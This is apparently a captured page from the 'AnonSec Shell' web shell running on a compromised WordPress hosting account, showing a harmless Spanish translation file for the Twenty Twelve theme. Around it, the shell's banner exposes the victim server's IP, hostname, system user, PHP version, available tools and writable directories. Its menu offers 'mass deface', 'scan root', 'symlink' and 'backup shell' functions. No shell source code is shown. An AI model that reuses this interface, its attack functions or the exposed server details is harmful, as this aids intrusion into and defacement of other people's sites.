. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/wp-content/languages/themes/twentytwelve-es_ES.po
# Translation of Twenty Twelve in Spanish (Spain)
# This file is distributed under the same license as the Twenty Twelve package.
msgid ""
msgstr ""
"PO-Revision-Date: 2015-10-21 19:36:21+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/1.0-alpha-1100\n"
"Project-Id-Version: Twenty Twelve\n"

#. translators: If there are characters in your language that are not supported
#. by Open Sans, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:101
msgctxt "Open Sans font: on or off"
msgid "on"
msgstr "activada"

#. translators: To add an additional Open Sans character subset specific to
#. your language, translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not
#. translate into your own language.
#: functions.php:107
msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)"
msgid "no-subset"
msgstr "sin derivadas"

#: functions.php:243
msgid "Appears on posts and pages except the optional Front Page template, which has its own widgets"
msgstr "Aparece en entradas y páginas excepto en la plantilla opcional de página principal, que tiene sus propios widgets "

#: functions.php:251
msgid "First Front Page Widget Area"
msgstr "Primer area de widgets de página principal"

#: functions.php:253 functions.php:263
msgid "Appears when using the optional Front Page template with a page set as Static Front Page"
msgstr "Aparece al usar la plantilla opcional de página principal con una página establecida como página principal estática"

#: functions.php:261
msgid "Second Front Page Widget Area"
msgstr "Segunda area de widgets de página principal"

#: content-aside.php:23 content-image.php:23 content-link.php:21
#: content-quote.php:20 content-status.php:37 content.php:33
msgid "% Replies"
msgstr "% respuestas"

#: content-aside.php:23 content-image.php:23 content-link.php:21
#: content-quote.php:20 content-status.php:37 content.php:33
msgid "1 Reply"
msgstr "1 respuesta"

#. Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's
#. name.
#: functions.php:387
msgid "This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "Esta entrada se publicó en %1$s y está etiquetada con %2$s en %3$s<span class=\"by-author\"> por %4$s</span>."

#: content-none.php:17 index.php:53
msgid "Apologies, but no results were found. Perhaps searching will help find a related post."
msgstr "Disculpas, pero no se han encontrado resultados. Quizás pueda buscar una entrada relacionada."

#: single.php:21
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: single.php:22
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: functions.php:389
msgid "This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "Esta entrada fue publicada en %1$s el %3$s<span class=\"by-author\"> por %4$s</span>."

#: functions.php:391
msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "Esta entrada fue publicada el %3$s<span class=\"by-author\"> por %4$s</span>."

#: 404.php:21
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Parece que no encontramos lo que estás intentando localizar. Es posible que te ayude buscarlo."

#: search.php:38
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "Lo sentimos pero no hay nada que se ajuste a tu criterio de búsqueda. Por favor, inténtalo de nuevo con otras palabras clave."

#: archive.php:35
msgid "Archives"
msgstr "Archivo"

#. #-#-#-#-#  twentytwelve.pot (Twenty Twelve 1.8)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:16
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Template Name of the plugin/theme
msgid "Front Page Template"
msgstr "Plantilla de página de portada"

#. Template Name of the plugin/theme
msgid "Full-width Page Template, No Sidebar"
msgstr "Página a tamaño completo, sin barras laterales"

#. Theme URI of the plugin/theme
msgid "https://wordpress.org/themes/twentytwelve/"
msgstr "https://es.wordpress.org/themes/twentytwelve/"

#. Theme Name of the plugin/theme
msgid "Twenty Twelve"
msgstr "Twenty Twelve"

#: functions.php:381
msgid "View all posts by %s"
msgstr "Ver todas las entradas de %s"

#: archive.php:33
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:31
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: content.php:66
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Ver todas las entradas por %s <span class=\"meta-nav\">&rarr;</span>"

#: author.php:32
msgid "Author Archives: %s"
msgstr "Archivo del Autor: %s"

#: functions.php:310
msgid "Pingback:"
msgstr "Pingback: "

#: comments.php:53
msgid "Comments are closed."
msgstr "Los comentarios están cerrados."

#: functions.php:337
msgid "Your comment is awaiting moderation."
msgstr "Tu comentario está pendiente de moderación."

#. translators: 1: date, 2: time
#: functions.php:331
msgid "%1$s at %2$s"
msgstr "%1$s en %2$s"

#: footer.php:16
msgid "Semantic Personal Publishing Platform"
msgstr "Plataforma semántica de publicación personal"

#: content-aside.php:20 content-link.php:18 content-quote.php:17
#: content-status.php:15
msgid "Permalink to %s"
msgstr "Enlace permanente a %s"

#: functions.php:285
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Entradas más nuevas <span class=\"meta-nav\">&rarr;</span>"

#: functions.php:284
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Entradas más antiguas"

#: category.php:21
msgid "Category Archives: %s"
msgstr "Archivo de la categoría: %s"

#: author.php:63 content.php:62
msgid "About %s"
msgstr "Acerca de %s"

#: content-aside.php:26 content-image.php:26 content-link.php:24
#: content-page.php:24 content-quote.php:23 content-status.php:40
#: content.php:51 functions.php:342 image.php:37
msgid "Edit"
msgstr "Editar"

#: content-aside.php:15 content-image.php:13 content-link.php:14
#: content-quote.php:13 content-status.php:31 content.php:44
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Sigue leyendo <span class=\"meta-nav\">&rarr;</span>"

#: content-page.php:21 content.php:45 image.php:102
msgid "Pages:"
msgstr "Páginas:"

#: tag.php:21
msgid "Tag Archives: %s"
msgstr "Archivo de la etiqueta: %s"

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "el equipo de WordPress"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Resultados de la búsqueda para: %s"

#: content-none.php:13 index.php:49 search.php:34
msgid "Nothing Found"
msgstr "No se ha encontrado nada"

#: image.php:41
msgid "&larr; Previous"
msgstr "&larr; Anterior"

#: image.php:42
msgid "Next &rarr;"
msgstr "Siguiente &rarr;"

#: functions.php:283 single.php:20
msgid "Post navigation"
msgstr "Navegación de entradas"

#: functions.php:64
msgid "Primary Menu"
msgstr "Menú principal"

#: comments.php:42
msgid "Comment navigation"
msgstr "Navegación de comentarios"

#: functions.php:310
msgid "(Edit)"
msgstr "(Editar)"

#: header.php:43
msgid "Menu"
msgstr "Menú"

#: header.php:44
msgid "Skip to content"
msgstr "Ir al contenido"

#: index.php:38
msgid "No posts to display"
msgstr "No hay entradas que mostrar"

#: index.php:42
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "¿Listo para publicar tu primera entrada? <a href=\"%s\">Empieza aquí</a>."

#: functions.php:241
msgid "Main Sidebar"
msgstr "Barra lateral principal"

#: footer.php:16
msgid "Proudly powered by %s"
msgstr "Creado con %s"

#: comments.php:44
msgid "Newer Comments &rarr;"
msgstr "Comentarios más recientes &rarr;"

#: comments.php:31
msgid "One thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "Un pensamiento en &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s pensamientos en &ldquo;%2$s&rdquo;"

#: archive.php:33
msgid "Yearly Archives: %s"
msgstr "Archivo por años: %s"

#: archive.php:29
msgid "Daily Archives: %s"
msgstr "Archivo por días: %s"

#: archive.php:31
msgid "Monthly Archives: %s"
msgstr "Archivo por meses: %s"

#: content-aside.php:23 content-image.php:23 content-link.php:21
#: content-quote.php:20 content-status.php:37 content.php:33
msgid "Leave a reply"
msgstr "Deja una respuesta"

#: comments.php:43
msgid "&larr; Older Comments"
msgstr "&larr; Comentarios más antiguos"

#. Translators: used between list items, there is a space after the comma.
#: functions.php:367 functions.php:370
msgid ", "
msgstr ", "

#: 404.php:17
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr "Esto es algo embarazoso ¿no?"

#: functions.php:212
msgid "Page %s"
msgstr "Página %s"

#: content-link.php:12
msgid "Link"
msgstr "Enlace"

#: content.php:16
msgid "Featured post"
msgstr "Entrada destacada"

#: functions.php:325
msgid "Post author"
msgstr "Autor"

#: functions.php:346
msgid "Reply"
msgstr "Responder"

#: image.php:26
msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>."
msgstr "<span class=\"meta-prep meta-prep-entry-date\">Publicado </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> a las <a href=\"%3$s\" title=\"Enlace a la imagen completa\">%4$s &times; %5$s</a> en <a href=\"%6$s\" title=\"Volver a %7$s\" rel=\"gallery\">%8$s</a>."

#. Description of the plugin/theme
msgid "The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background."
msgstr "El tema 2012 para WordPress es un tema totalmente adaptable que se ve genial en cualquier dispositivo. Entra sus características encontrarás una plantilla de página principal con sus propios widgets, una fuente opcional, estilos para formatos de entrada tanto en portada como en entradas, y una plantilla de página opcional sin barra lateral. Ponlo a tu gusto con un menú personalizado, la cabecera de imagen o el fondo."

Anon7 - 2022
AnonSec Team